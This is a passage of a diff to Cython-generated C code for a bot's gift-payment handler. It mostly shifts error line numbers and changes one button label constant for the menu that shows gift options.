__pyx_mstate_global->__pyx_codeobj__31 -#define __pyx_codeobj__42 __pyx_mstate_global->__pyx_codeobj__42 -#define __pyx_codeobj__60 __pyx_mstate_global->__pyx_codeobj__60 +#define __pyx_codeobj__14 __pyx_mstate_global->__pyx_codeobj__14 +#define __pyx_codeobj__16 __pyx_mstate_global->__pyx_codeobj__16 +#define __pyx_codeobj__21 __pyx_mstate_global->__pyx_codeobj__21 +#define __pyx_codeobj__25 __pyx_mstate_global->__pyx_codeobj__25 +#define __pyx_codeobj__29 __pyx_mstate_global->__pyx_codeobj__29 +#define __pyx_codeobj__40 __pyx_mstate_global->__pyx_codeobj__40 +#define __pyx_codeobj__58 __pyx_mstate_global->__pyx_codeobj__58 /* #### Code section: module_code ### */ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineObject *__pyx_generator, CYTHON_UNUSED PyThreadState *__pyx_tstate, PyObject *__pyx_sent_value); /* proto */ @@ -4249,12 +4284,12 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 32, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 34, __pyx_L3_error) else goto __pyx_L5_argtuple_error; } if (unlikely(kw_args > 0)) { const Py_ssize_t kwd_pos_args = __pyx_nargs; - if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "start_menu_handler") < 0)) __PYX_ERR(0, 32, __pyx_L3_error) + if (unlikely(__Pyx_ParseOptionalKeywords(__pyx_kwds, __pyx_kwvalues, __pyx_pyargnames, 0, values + 0, kwd_pos_args, "start_menu_handler") < 0)) __PYX_ERR(0, 34, __pyx_L3_error) } } else if (unlikely(__pyx_nargs != 1)) { goto __pyx_L5_argtuple_error; @@ -4265,7 +4300,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds } goto __pyx_L6_skip; __pyx_L5_argtuple_error:; - __Pyx_RaiseArgtupleInvalid("start_menu_handler", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 32, __pyx_L3_error) + __Pyx_RaiseArgtupleInvalid("start_menu_handler", 1, 1, 1, __pyx_nargs); __PYX_ERR(0, 34, __pyx_L3_error) __pyx_L6_skip:; goto __pyx_L4_argument_unpacking_done; __pyx_L3_error:; @@ -4304,7 +4339,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_start_menu_handler(CYTHON_UN if (unlikely(!__pyx_cur_scope)) { __pyx_cur_scope = ((struct __pyx_obj_8handlers_8payments_4gift___pyx_scope_struct__start_menu_handler *)Py_None); __Pyx_INCREF(Py_None); - __PYX_ERR(0, 32, __pyx_L1_error) + __PYX_ERR(0, 34, __pyx_L1_error) } else { __Pyx_GOTREF((PyObject *)__pyx_cur_scope); } @@ -4312,7 +4347,7 @@ static PyObject *__pyx_pf_8handlers_8payments_4gift_start_menu_handler(CYTHON_UN __Pyx_INCREF(__pyx_cur_scope->__pyx_v_callback_query); __Pyx_GIVEREF(__pyx_cur_scope->__pyx_v_callback_query); { - __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_start_menu_handler, __pyx_n_s_start_menu_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 32, __pyx_L1_error) + __pyx_CoroutineObject *gen = __Pyx_Coroutine_New((__pyx_coroutine_body_t) __pyx_gb_8handlers_8payments_4gift_2generator, __pyx_codeobj_, (PyObject *) __pyx_cur_scope, __pyx_n_s_start_menu_handler, __pyx_n_s_start_menu_handler, __pyx_n_s_handlers_payments_gift); if (unlikely(!gen)) __PYX_ERR(0, 34, __pyx_L1_error) __Pyx_DECREF(__pyx_cur_scope); __Pyx_RefNannyFinishContext(); return (PyObject *) gen; @@ -4354,9 +4389,9 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb return NULL; } __pyx_L3_first_run:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 32, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 34, __pyx_L1_error) - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_validate_client_code); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 35, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_validate_client_code); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_3 = NULL; __pyx_t_4 = 0; @@ -4376,7 +4411,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb PyObject *__pyx_callargs[2] = {__pyx_t_3, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_2, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_3); __pyx_t_3 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 35, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } @@ -4391,24 +4426,24 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_generator->resume_label = 1; return __pyx_r; __pyx_L4_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 35, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 37, __pyx_L1_error) __pyx_t_1 = __pyx_sent_value; __Pyx_INCREF(__pyx_t_1); } else { __pyx_t_1 = NULL; - if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 35, __pyx_L1_error) + if (__Pyx_PyGen_FetchStopIterationValue(&__pyx_t_1) < 0) __PYX_ERR(0, 37, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); } __Pyx_GIVEREF(__pyx_t_1); __pyx_cur_scope->__pyx_v_is_valid = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_is_valid); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 36, __pyx_L1_error) + __pyx_t_5 = __Pyx_PyObject_IsTrue(__pyx_cur_scope->__pyx_v_is_valid); if (unlikely((__pyx_t_5 < 0))) __PYX_ERR(0, 38, __pyx_L1_error) __pyx_t_6 = (!__pyx_t_5); if (__pyx_t_6) { - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 37, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_logger); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 37, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_error); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; @@ -4429,7 +4464,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb PyObject *__pyx_callargs[2] = {__pyx_t_2, __pyx_kp_u_solonet_sup}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 37, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 39, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4441,7 +4476,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb } - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 40, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_InlineKeyboardBuilder); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_2 = NULL; __pyx_t_4 = 0; @@ -4461,7 +4496,7 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb PyObject *__pyx_callargs[2] = {__pyx_t_2, NULL}; __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 40, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 42, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } @@ -4469,21 +4504,21 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_cur_scope->__pyx_v_builder = __pyx_t_1; __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 41, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_types); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 41, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 41, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_GIFT); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 41, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_GIFT); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 41, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_text, __pyx_t_8) < 0) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_gift) < 0) __PYX_ERR(0, 41, __pyx_L1_error) - __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 41, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_2, __pyx_n_s_callback_data, __pyx_n_u_gift) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_empty_tuple, __pyx_t_2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; @@ -4506,27 +4541,27 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 41, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 43, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_types); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_8, __pyx_n_s_types); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_8, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; - __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 42, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_MY_GIFTS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 42, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_MY_GIFTS); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_text, __pyx_t_7) < 0) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_callback_data, __pyx_n_u_my_gifts) < 0) __PYX_ERR(0, 42, __pyx_L1_error) - __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 42, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_8, __pyx_n_s_callback_data, __pyx_n_u_my_gifts) < 0) __PYX_ERR(0, 44, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_empty_tuple, __pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; @@ -4549,27 +4584,27 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 42, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 44, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 43, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_row); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_types); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_7, __pyx_n_s_types); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 43, __pyx_L1_error) + __pyx_t_8 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_InlineKeyboardButton); if (unlikely(!__pyx_t_8)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_8); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; - __pyx_t_7 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 43, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyDict_NewPresized(2); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_PROFILE); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_MAIN_MENU); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 43, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 43, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 43, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_7, __pyx_n_s_callback_data, __pyx_n_u_profile) < 0) __PYX_ERR(0, 45, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_8, __pyx_empty_tuple, __pyx_t_7); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_8); __pyx_t_8 = 0; __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; @@ -4592,43 +4627,43 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_t_1 = __Pyx_PyObject_FastCall(__pyx_t_3, __pyx_callargs+1-__pyx_t_4, 1+__pyx_t_4); __Pyx_XDECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 43, __pyx_L1_error) + if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_1, __pyx_n_s_os); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_path); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_path); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; - __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_join); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 45, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_join); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; - __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 45, __pyx_L1_error) + __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GIVEREF(__pyx_t_3); __pyx_cur_scope->__pyx_v_image_path = __pyx_t_3; __pyx_t_3 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 47, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_3, __pyx_n_s_edit_or_send_message); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); - __pyx_t_1 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 48, __pyx_L1_error) + __pyx_t_1 = __Pyx_PyDict_NewPresized(4); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); - __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 48, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_callback_query, __pyx_n_s_message); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_2) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_target_message, __pyx_t_2) < 0) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_GIFTS_ABOUT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) + __Pyx_GetModuleGlobalName(__pyx_t_2, __pyx_n_s_GIFTS_ABOUT); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 51, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_text, __pyx_t_2) < 0) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 50, __pyx_L1_error) + __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_cur_scope->__pyx_v_builder, __pyx_n_s_as_markup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_8 = NULL; __pyx_t_4 = 0; @@ -4648,16 +4683,16 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb PyObject *__pyx_callargs[2] = {__pyx_t_8, NULL}; __pyx_t_2 = __Pyx_PyObject_FastCall(__pyx_t_7, __pyx_callargs+1-__pyx_t_4, 0+__pyx_t_4); __Pyx_XDECREF(__pyx_t_8); __pyx_t_8 = 0; - if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 50, __pyx_L1_error) + if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 52, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_reply_markup, __pyx_t_2) < 0) __PYX_ERR(0, 50, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; - if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_media_path, __pyx_cur_scope->__pyx_v_image_path) < 0) __PYX_ERR(0, 48, __pyx_L1_error) + if (PyDict_SetItem(__pyx_t_1, __pyx_n_s_media_path, __pyx_cur_scope->__pyx_v_image_path) < 0) __PYX_ERR(0, 50, __pyx_L1_error) - __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 47, __pyx_L1_error) + __pyx_t_2 = __Pyx_PyObject_Call(__pyx_t_3, __pyx_empty_tuple, __pyx_t_1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 49, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; @@ -4672,12 +4707,12 @@ static PyObject *__pyx_gb_8handlers_8payments_4gift_2generator(__pyx_CoroutineOb __pyx_generator->resume_label = 2; return __pyx_r; __pyx_L6_resume_from_await:; - if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 47, __pyx_L1_error) + if (unlikely(!__pyx_sent_value)) __PYX_ERR(0, 49, __pyx_L1_error) } else { PyObject* exc_type = __Pyx_PyErr_CurrentExceptionType(); if (exc_type) { if (likely(exc_type == PyExc_StopIteration || (exc_type != PyExc_GeneratorExit && __Pyx_PyErr_GivenExceptionMatches(exc_type, PyExc_StopIteration)))) PyErr_Clear(); - else __PYX_ERR(0, 47, __pyx_L1_error) + else __PYX_ERR(0, 49, __pyx_L1_error) } } CYTHON_MAYBE_UNUSED_VAR(__pyx_cur_scope); @@ -4764,7 +4799,7 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[0]); kw_args--; } - else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 55, __pyx_L3_error) + else if (unlikely(PyErr_Occurred())) __PYX_ERR(0, 57, __pyx_L3_error) else goto __pyx_L5_argtuple_error; CYTHON_FALLTHROUGH; case 1: @@ -4772,14 +4807,14 @@ PyObject *__pyx_args, PyObject *__pyx_kwds (void)__Pyx_Arg_NewRef_FASTCALL(values[1]); kw_args--; } - else if 